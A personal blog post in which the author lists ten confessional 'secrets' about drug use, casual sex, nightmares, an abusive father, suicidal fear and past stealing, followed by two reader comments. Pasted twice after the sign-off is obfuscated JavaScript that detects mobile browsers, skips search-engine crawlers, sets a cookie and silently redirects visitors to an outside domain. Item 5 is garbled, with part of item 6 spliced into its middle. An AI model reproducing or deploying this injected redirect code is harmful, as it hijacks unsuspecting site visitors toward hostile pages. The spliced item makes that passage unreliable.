Ten Day YOU Challenge – #1 – Ten Secrets

Hey all…

Well first off, I needed to take a small break from the blog, as all this reflection and thinking was just doing my head in. And to be completely honest, I’ve just been thinking too much about my dad and the cancer.

So I came back online today and discovered a neat lil idea on http://halfwaybetweenthegutter.wordpress.com it’s called the 10 Day YOU Challenge. It has the potential to be very exposing for me. And that’s the idea. I’m trying to shed my natural tendencies to hide. From my feelings, relationships, from problems, hell from everything really. So I’m going to take the leap and throw it out there. I only place one condition upon myself.

BE HONEST. NO MATTER WHAT.

So without further a due, here goes nothing.

Ten Day YOU Challenge.

Ten Secrets.

  1. I’ve been a drug addict since I was 20. It’s mostly always been marijuana, but I’ve dabbled in almost everything else. Back in my more promiscuous days, ecstasy was my drug of choice. Nothing made me feel so alive like that. It enhanced everything, and don’t even get me started on how it improves sex. MY GOD. I love drugs, but I don’t want to do it anymore. None of it. I’m tired of the crutch it provides and in reality it doesn’t make me happy, more so dulls the pain. If that makes sense to you.
  2. I have had a lot of sex, mostly with randoms. Sex used to be the only thing that made me feel alive. I have always had a high libido, and I’ve done a lot of things I’m not necessarily proud of. I don’t know the number, and that’s good, but I’ve been intimate with people in the most dirty of places. I’ve seen so much and done even more in the name of chasing a feeling, something I could never quite put my finger on. I know now that I was chasing that feeling of being loved. It never made me happy either. In fact, it always made the loneliness so much worse. I am unable to even perform now. It’s something that is ingrained in me now. I refuse to share myself with just anyone. Not anymore. I refuse to be a slave to my overwhelming urges. It was never worth the shame I felt for myself, just for a few hours of pleasure. Sex was the only thing I ever felt I was good for. And for a long time, it was all I could offer. But I want something more for myself. I deserve it. I havent had sex in a long time now, and I always miss it. But I’m hoping it will be worth the wait.
  3. Connections terrify me. I am incapable of maintaining long-term friendships, nor relationships. I withdraw into myself and hide when I feel I’m being weird. I live in constant fear that I am not good enough for anyone, or people think I’m weird or strange. It’s why I feel awkward whenever anyone compliments me. It’s horrible. I know I am a good person. but I find it hard to believe anyone else does. Sadly, I’ve always felt alone. Even in the arms of another. I make new friends and it gets complicated. Or even worse, I get a crush. And it’s always for women I can’t have. The awesome ones are the worst, cos they’re far too good for someone like me. I’ll end up letting them down and crushing all the good things they ever saw in me. And that kills more than anything.
  4. I live to dream. Even though most of my dreams terrify me. I have reoccurring dreams and night terrors. I often wake up in the middle of the night bathed in sweat, my throat sore from screaming. My dreams are an escape. I can change and alter my dreams at will most of the time, but its the nightmares than I cannot change. In a good dream, I am like Neo inside the Matrix. I can fly, save the ones i love and live a dream life I’ve never quite known in the real. I can live and love and feel intimacy and passion I’ve never known. I dream about her. I dream about Amy and her smile. And sometimes its a curse, but mostly it reminds me that perhaps things might work out for me, because I am at last capable to feeling such things. Only in my dreams can I wake up next to the one I love.But the nightmare is always the same. I’m being led as a kid into a dark room, where I sit in silence awaiting something. Suddenly a chill falls over the room. Then the sound of footsteps coming towards the door. I fear I’ve never felt descends and I’m terrified. I bang on the walls and scream for someone to help me. Suddenly the door opens and I am blinded for a moment by the light. Then the door slams shut and I can’t see a thing. All I know for sure is that I am not alone in the room. I can hear shallow breathing, and my fear rises into terror. I flail about desperately and a strong hand grabs me and I wake up. It’s always the same.
  5. I’m afraid all the time. I’m scared of my aggressive side and my temper. I hate fighting. I hate the rush of adrenaline and how my senses sharpen. But I do not feel powerful, I’m afraid. I’m afraid that this is all my life will ever be. I’m afraid I’m going to kill myself one of these days. I’m afraid to be alone, even though I love my own company. I’m afraid of change. Afraid to try new things. Afraid I’ll throw myself I’m a big kid trapped in a mans body. I geek out and get excited over nerdy stuff like Doctor Who or a comic book. I live in my imagination and I love how enthusiastic I get over things like that. I’ve always found fantasy much more appealing than reality. I would do almost anything to get Super Powers. I know it’s not possible, but a boy can dream. I’m childish and also grownup. I guess it’s why I’ve always felt more of a connection to those younger than me. Older people have concerns I cannot understand. Marriage, Kids and all that other stuff. It’s something I fear, and secretly covet for myself.out there and I’ll either be rejected or not live up to expectations.
  6. I’m a big kid trapped in a mans body. I geek out and get excited over nerdy stuff like Doctor Who or a comic book. I live in my imagination and I love how enthusiastic I get over things like that. I’ve always found fantasy much more appealing than reality. I would do almost anything to get Super Powers. I know it’s not possible, but a boy can dream. I’m childish and also grownup. Hence why I’ve always been a walking contradiction. And I don’t mind… \m/
  7. I used to be afraid I was going to be a serial killer. I’ve always felt like an outcast. An outsider. I never made a lot of friends, especially being me, but masks often make it easier. But I resent them in a way because they facilitate my need to fit in. To Belong. I used to watch people being happy and wonder what that felt like. And in a way, I hated them. But in reality, I hated my father. Having him beat me, both physically and mentally. I realized I don’t have a violent streak, just a temper. And I don’t want to hurt anyone. So I’m not too worried. But I still feel an affinity with Dexter (the TV character) but that’s okay. I kinda like it.
  8. I used to lie, cheat and steal. I felt such a rush stealing. Never from friends or family, but from businesses and scumbags. I never let the truth get in the way of a good story. Or to make myself seem more interesting. But I reached a point where I couldn’t tell where the lie ended and the truth began. So I decided no more. Now I make a conscious effort to be open and truthful, no matter the consequences. The people in my life deserve no less.
  9. I’ve only ever felt love once. And she’s the most special person in the world. Besides a natural connection to family, I’ve never really felt a connection with anyone else. I’ve tried to convince myself that I’ve been in love, but I really wasnt. And the realization really hurt.
  10. I still have no idea what to do with my life. Everyday is a new adventure, but I really don’t have the willpower to be strong enough for me. I need people in my life to drive me to be better. It’s sad, but true. I have always defined myself by how others see me. I’ve always idolized people who make me happy and remind me I’m not so alone in the world.

So yeah, that’s the first list. The next one will be nine loves. That one should be a lot easier to write than this one was.

Till next time…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

2 thoughts on “Ten Day YOU Challenge – #1 – Ten Secrets

    • See maybe we’re not so alone in the world. I do find it quite eerie how alike we are. Thank you for sharing, it does mean a lot to me.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s